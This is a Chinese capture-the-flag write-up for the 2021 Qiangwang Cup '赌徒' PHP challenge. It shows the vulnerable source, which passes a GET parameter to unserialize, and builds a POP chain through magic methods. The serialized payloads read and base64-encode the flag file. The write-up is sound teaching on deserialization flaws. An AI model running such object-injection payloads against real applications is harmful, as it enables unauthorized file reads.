2021qwb [强网先锋]赌徒 Writeup + 环境复现

2021 qwb [强网先锋]赌徒 Writeup + 环境复现(win10)

1、本地环境复现(win10+phpStudy2018)

将比赛文件复制到phpStudy的\phpStudy\PHPTutorial\WWW 网站运行目录下;

比赛文件index.php,源码就在此文件中,www.zip 文件为index.php的打包,其他文件夹自建,主要为了还原最真实的比赛环境。

2、Writeup 开始解题

打开题目链接,发现就一句话,如下:

I think you need /etc/hint . Before this you need to see the source code

看看页面源代码,看了看请求和响应,发现一个小细节:

服务器的环境出来了 Apache/2.4.18(Ubuntu) ==>此为当时比赛中真实截图

基于此情况,对该链接进行"目录扫描"操作

一个www.zip 的备份文件(对照本地环境复现看),下载下来后里面有一个index.php的源码文件,源码如下:

复制代码
<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);

class Start

{

public $name='guest';

public $flag='syst3m("cat 127.0.0.1/etc/hint");';

复制代码
	public function __construct(){
		echo "I think you need /etc/hint . Before this you need to see the source code";
	}

	public function _sayhello(){
		echo $this->name;
		return 'ok';
	}

	public function __wakeup(){
		echo "hi";
		$this->_sayhello();
	}
	public function __get($cc){
		echo "give you flag : ".$this->flag;
		return ;
	}
}

class Info
{
	private $phonenumber=123123;
	public $promise='I do';

	public function __construct(){
		$this->promise='I will not !!!!';
		return $this->promise;
	}

	public function __toString(){
		return $this->file['filename']->ffiillee['ffiilleennaammee'];
	}
}

class Room
{
	public $filename='/flag';
	public $sth_to_set;
	public $a='';

	public function __get($name){
		$function = $this->a;
		return $function();
	}

	public function Get_hint($file){
		$hint=base64_encode(file_get_contents($file));
		echo $hint;
		return ;
	}

	public function __invoke(){
		$content = $this->Get_hint($this->filename);
		echo $content;
	}
}

if(isset($_GET['hello'])){
	unserialize($_GET['hello']);
}else{
	$hi = new  Start();
}

?>

从代码中分析可以看出,给"hello"传参,然后进行序列化攻击。

现在问题来了,代码中一共有3个类,我们需要从哪一个类开始下手呢?

通过对魔术方法和序列化的的学习,我们只能从Start这个类开始下手,当对这个该类进行反序列化时,会自动执行wakeup()方法,而这3个类中只有Start类存在这个方法。

再继续观察发现,我们最终需要达到的目的地是Room类的Get_hint()方法。

构造payload:

复制代码
<?php
include "index.php";
$a = new Start();			// __wakeup()进入,
$a->name = new Info();		// Info的__toString()进入
$a->name->file["filename"] = new Room();	// Room的__get()进入
$a->name->file["filename"]->a= new Room();	// Room的__invoke()进入
echo "<br>";
echo serialize($a);
?>

在我们本地搭建的环境中运行payload.php

序列化得到payload(false):

O:5:"Start":2:{s:4:"name";O:4:"Info":3:{s:17:"Infophonenumber";i:123123;s:7:"promise";s:15:"I will not !!!";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";s:0:"";}}}}s:4:"flag";s:33:"syst3m("cat 127.0.0.1/etc/hint");";}

由于我们本地win10环境,flag文件放在C盘根目录下,名为flag。

故再次序列化payload(true)变更为:

O:5:"Start":2:{s:4:"name";O:4:"Info":3:{s:17:"%00Info%00phonenumber";i:123123;s:7:"promise";s:15:"I will not !!!";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:7:"c:/flag";s:10:"sth_to_set";N;s:1:"a";O:4:"Room":3:{s:8:"filename";s:7:"c:/flag";s:10:"sth_to_set";N;s:1:"a";s:0:"";}}}}s:4:"flag";s:33:"syst3m("cat 127.0.0.1/etc/hint");";}

注意:Infophonenumber,要用%00截断,因为phonenumber为类Info中的变量,这样才能符合序列化语句的构造。不然反序列化结果会有问题,什么都没有一片空白(亲测)!

最后,利用了魔术方法的特性成功进行了序列化攻击,实现了在一个类跳转到另一个类并执行方法!

ZmxhZ3s0NTZiNzg5LWE0YWUtMTg1My1hMWIyLXExdzJlM3I0dDV9

注意:hi 是之前Start类中输出的内容!

得到base64编码后的字符串进行解码:

最终得到了flag并与flag文件中的内容进行比对。

复制代码
flag{456b789-a4ae-1853-a1b2-q1w2e3r4t5}

以上就是本文的全部内容,希望对大家的学习有所帮助

相关推荐
黑客老李8 小时前
web渗透实战 | js.map文件泄露导致的通杀漏洞
安全·web安全·小程序·黑客入门·渗透测试实战
财经三剑客8 小时前
AI元年,春节出行安全有了更好的答案
大数据·人工智能·安全
潆润千川科技10 小时前
中老年同城社交应用后端设计:如何平衡安全、性能与真实性?
安全·聊天小程序
市场部需要一个软件开发岗位11 小时前
JAVA开发常见安全问题:纵向越权
java·数据库·安全
飞凌嵌入式12 小时前
用「EN 18031认证」通关欧盟,这张 “网络安全护照” 已就位
网络·安全·能源
●VON12 小时前
CANN安全与隐私:从模型加固到数据合规的全栈防护实战
人工智能·安全
程序员清洒12 小时前
CANN模型安全:从对抗防御到隐私保护的全栈安全实战
人工智能·深度学习·安全
秋邱13 小时前
不仅是极速:从 CANN SHMEM 看 AIGC 集群通信的“安全微操”艺术
安全·aigc
初恋叫萱萱13 小时前
CANN 生态安全加固指南:构建可信、鲁棒、可审计的边缘 AI 系统
人工智能·安全
麦聪聊数据14 小时前
为何通用堡垒机无法在数据库运维中实现精准风控?
数据库·sql·安全·低代码·架构